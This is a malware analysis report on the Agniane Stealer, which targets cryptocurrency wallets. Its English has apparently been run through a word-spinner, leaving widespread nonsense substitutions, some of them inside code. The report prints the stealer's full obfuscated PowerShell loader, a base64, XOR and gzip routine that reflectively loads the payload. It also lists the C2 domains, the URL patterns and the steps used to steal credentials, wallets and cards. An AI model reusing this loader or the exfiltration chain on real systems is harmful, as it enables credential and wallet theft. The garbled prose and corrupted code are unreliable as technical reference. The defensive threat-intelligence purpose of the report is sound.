The Agniane Stealer is an information-stealing malware primarily concentrating on the cryptocurrency wallets of its victims. It gained recognition on the web beginning in August 2023. Just lately, we have now noticed a definite marketing campaign spreading it throughout our telemetry. Our current examine has led to the profitable identification and detailed evaluation of a beforehand unrecognized community URL sample. Our researchers have just lately uncovered extra data on the malware’s strategies for file assortment and the intricacies of its command and management (C2) protocol. We even have new reverse engineering insights into the malware’s structure and communication.

We consider our work contributes to tactical and operational ranges of intelligence concerning Agniane Stealer. It could possibly show helpful from incident response to detector improvement and could be extra appropriate for a technical viewers.

The Agniane Stealer has already been referenced in a number of articles. The Agniane stealer malware is being actively marketed and offered via a Telegram channel, accessible at t[.]me/agniane. Potential consumers could make purchases instantly through this channel by interacting with a specialised bot, named @agnianebot, which facilitates the transaction course of and offers extra details about the malware.” Our technical evaluation signifies that it makes use of the ConfuserEx Protector and goals at equivalent targets. Nonetheless, it employs a definite C2 methodology, primarily based on the pattern noticed in our telemetry information. Due to this fact, we have now determined to publish a technical evaluation of the pattern.

Introduction

Throughout our threat-hunting workout routines in November 2023, we have now seen a sample of renamed PowerShell binaries, known as passbook.bat.exe. On nearer inspection of the host machines, we have now recognized infections of the newly found malware household of Agniane Stealer. Menace analysis Gameel Ali (@MalGamy12) first disclosed the existence of this malware on their X account. Researchers from the Zscaler ThreatLabz Workforce [2] and Pulsedive Menace Researchers [3] ultimately adopted up with weblog posts of their very own. Our work goals to contribute extra data understanding campaigns involving using Agniane Stealer.

Execution Chain

The infections we detected appear to begin with the downloading of ZIP recordsdata from compromised web sites. All of the web sites from the place we have now seen the obtain of this file in our telemetry are regular web sites with reliable content material. All obtain URLs had the under URL sample:

http[s]://<area title>/book_[A-Z0-9]+-d+.zip

As soon as downloaded and extracted, the downloaded ZIP file drops a BAT file (passbook.bat) and extra ZIP file on the file system. The BAT file accommodates an obfuscated payload and after its execution via cmd.exe, it drops an executable which is renamed model of PowerShell binary (passbook.bat.exe). [4]

This enamed PowerShell was used to execute sequence of obfuscated instructions.

passbook.bat.exe -noprofile -windowstyle hidden -ep bypass -command $_CASH_esCqq = [System.IO.File]::(‘txeTllAdaeR'[-1..-11] -join ”)(‘C:UsersuserAppDataLocalTemp15Rar$DIa63532.21112passbook.bat’).Cut up([Environment]::NewLine);foreach ($_CASH_OjmGK in $_CASH_esCqq) { if ($_CASH_OjmGK.StartsWith(‘:: @’)) { $_CASH_ceCmX = $_CASH_OjmGK.Substring(4); break; }; };$_CASH_ceCmX = [System.Text.RegularExpressions.Regex]::Change($_CASH_ceCmX, ‘_CASH_’, ”);$_CASH_afghH = [System.Convert]::(‘gnirtS46esaBmorF'[-1..-16] -join ”)($_CASH_ceCmX);$_CASH_NtKXr = [System.Convert]::(‘gnirtS46esaBmorF'[-1..-16] -join ”)(‘ws33cUsroVN/EsxO1rOfY1zGajQKWVFEvpkHI/JP6Is=’);for ($i = 0; $i -le $_CASH_afghH.Size – 1; $i++) { $_CASH_afghH[$i] = ($_CASH_afghH[$i] -bxor $_CASH_NtKXr[$i % $_CASH_NtKXr.Length]); };$_CASH_DIacp = New-Object System.IO.MemoryStream(, $_CASH_afghH);$_CASH_yXEfg = New-Object System.IO.MemoryStream;$_CASH_QbnHO = New-Object System.IO.Compression.GZipStream($_CASH_DIacp, [IO.Compression.CompressionMode]::Decompress);$_CASH_QbnHO.CopyTo($_CASH_yXEfg);$_CASH_QbnHO.Dispose();$_CASH_DIacp.Dispose();$_CASH_yXEfg.Dispose();$_CASH_afghH = $_CASH_yXEfg.ToArray();$_CASH_hCnlS = [System.Reflection.Assembly]::(‘daoL'[-1..-4] -join ”)($_CASH_afghH);$_CASH_Xhonj = $_CASH_hCnlS.EntryPoint;$_CASH_Xhonj.Invoke($null, (, [string[]] (”)))

The command line proven above performs the next actions:

• Reads the content material of the beforehand extracted BAT file (passbook.bat).
• By way of string matches and replacements, builds the payload dynamically and assigns it to a variable.
• Transformed payload and static key from Base64 to a byte array.
• XOR’d the payload utilizing a static key.
• Decompressed XOR’d payload utilizing GZIP.
• Invokes payload after reflectively loading it into reminiscence.

To know actions taken towards the target, we reversed the payload.

Binary Evaluation

The invoked payload continues with the execution of a C# meeting. Now we have dumped it right into a file, the place we get the executable with under hash,

5640c02b6d125d4e14e19709296b29b8ea34fe416e18b3d227bd79310d54b8df.

At time of the evaluation, the file was unknown to on-line sandboxes. Now we have determined to emulate the exercise on the Cisco Safe Malware Analytics sandbox with the generic settings on this file, which is the second stage of the deployment of the stealer. The dynamic evaluation couldn’t be accomplished as we didn’t execute the primary stage of the pattern of the malware. Due to this fact, we determined to investigate the pattern manually, the place we discovered later there are anti-sandbox strategies used.

The binary file was extremely obfuscated with management movement manipulations, like ConfuserEx.

It is very important word that the pattern didn’t comprise a signature for ConfuserEx, but it had an obfuscation methodology that resembled it.

After reversing the pattern, we realized it accommodates one other binary file in its sources part, which have been getting reflectively loaded. The brand new binary was one other C#-based pattern, which contained the ultimate payload. It was obfuscated with ConfuserEx with direct signatures.

As you’ll be able to see from the earlier screenshot, it’s calling Invoke features from an entry Level object, which accommodates a parsed useful resource.

Your entire loading course of seems as if passbook.bat.exe is executing PowerShell, which is deobfuscating passbook.bat. This, in flip, is operating the tmp385C.tmp (tmp385C.tmp is only a header file title) C# functions, which reflectively load the _CASH_78 C# software. The ultimate software on this sequence is the Agniane Stealer:

Command and Management

The Agniane Stealer operates in a simple but environment friendly method, stealing credentials and recordsdata from the endpoint utilizing a primary C2 protocol. Initially, it verifies the provision of any domains via a easy C# net request, checking if the return worth is “13.” This time request was made to a URL labeled “check,” for example.

In our pattern, we will see the next IOCs (indicators of compromise) offered in sources file:

trecube[.]com

trecube13[.]ru

imitato23[.]retailer

wood100home[.]ru

For all these domains, the pattern is asking for a check URL.

Later, the malware calls C2 to get an inventory of file extensions to search for. That is situated at URL sample getext?id= adopted by an ID – part of sources of the _CASH_78 file. On this web site, the listing of extensions is separated by a semicolon, and for instance on an internet site trecube[.]retailer it seems like:

Once more, that is dealt with as earlier checking string within the code. It’s parsed/break up by semicolon and an inventory of extensions is created in an inventory of variables in C# code.

Subsequently, the malware requests a distant json file containing the small print about errors, VirusTotal hits, and so forth. Based mostly on this data, the pattern both progresses or halts. We selected to focus our investigation on different points which can be extra instantly related to attribution and detection settings. Nonetheless, it is very important word that the URL sample might be utilized for monitoring malware via telemetry or on-line sandbox companies for OSINT functions. The URL seems like:

And right here what its corresponding output seems like:

The subsequent stage entails enumeration and assortment. It scans the pc to gather all paperwork with specified extensions instructed by the URL with a “getext” sample, together with different credentials present in frequent paths of the working system, equivalent to Mozilla Firefox storage, Chrome storage and saved Home windows credentials. It is a frequent exercise amongst data stealer malware. Moreover, Agniane was checking to see the localization setting of the sufferer pc. If it accommodates any of the language packages under, it doesn’t proceed with the an infection,

The allowlisting of some areas may imply the developer doesn’t need to assault particular areas. Based mostly on different observations it’s attainable to count on the attacker is from a rustic with a powerful diplomatic tie to Russia.

As soon as all of the goal recordsdata are collected, the malware creates a ZIP archive underneath the “native software information” folder,

C:Customers[user]AppDataLocal[A-Z0-9]{32}

Beneath is the construction/content material of this archive file

It’s later uploaded to

Beneath yow will discover the illustrated model of the Agniane Stealer’s C2 communication,

Different TTPs

The Agniane Stealer was additionally seen performing following actions:

• Enumerating registry key HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall for put in functions, it additionally collects this data.
• Checking for a public IP on a ip-api.com, i.e,
  https://ip-api.com/json/?fields=11827
• Dumping Bitcoin and different cryptocurrency wallets
• Performing (not properly) checks to see if it’s operating in a debugged or digital env. and so forth.
• Amassing pockets.dat recordsdata.
• Enumerating Profile and Person information.
• Amassing saved bank cards.
• Including different malware like NGenTask.exe.log (the file with the SHA cf342712ac75824579780abdb0e12d7ba9e3de93f311e0f3dd5b35f73a6bbc3).

Conclusion

The Agniane Stealer tries to stay undetected via varied obfuscation and anti-VM/debug strategies. It displays frequent conduct for stealers equivalent to accumulating and exfiltrating recordsdata, credentials password, bank card particulars, wallets, and so forth. Its evasive nature and concentrating on of varied data would possibly appeal to extra adversaries in future to leverage its companies.

Kill Chain

Indicators of Compromise

References

[1] https://twitter.com/MalGamy12/standing/1688984207752663040?t=xECvfQF8pujQERAmhfI41w
[2] https://www.zscaler.com/blogs/security-research/agniane-stealer-dark-web-s-crypto-threat
[3] https://weblog.pulsedive.com/analyzing-agniane-stealer/
[4] https://www.pcrisk.com/removal-guides/27510-agniane-stealer

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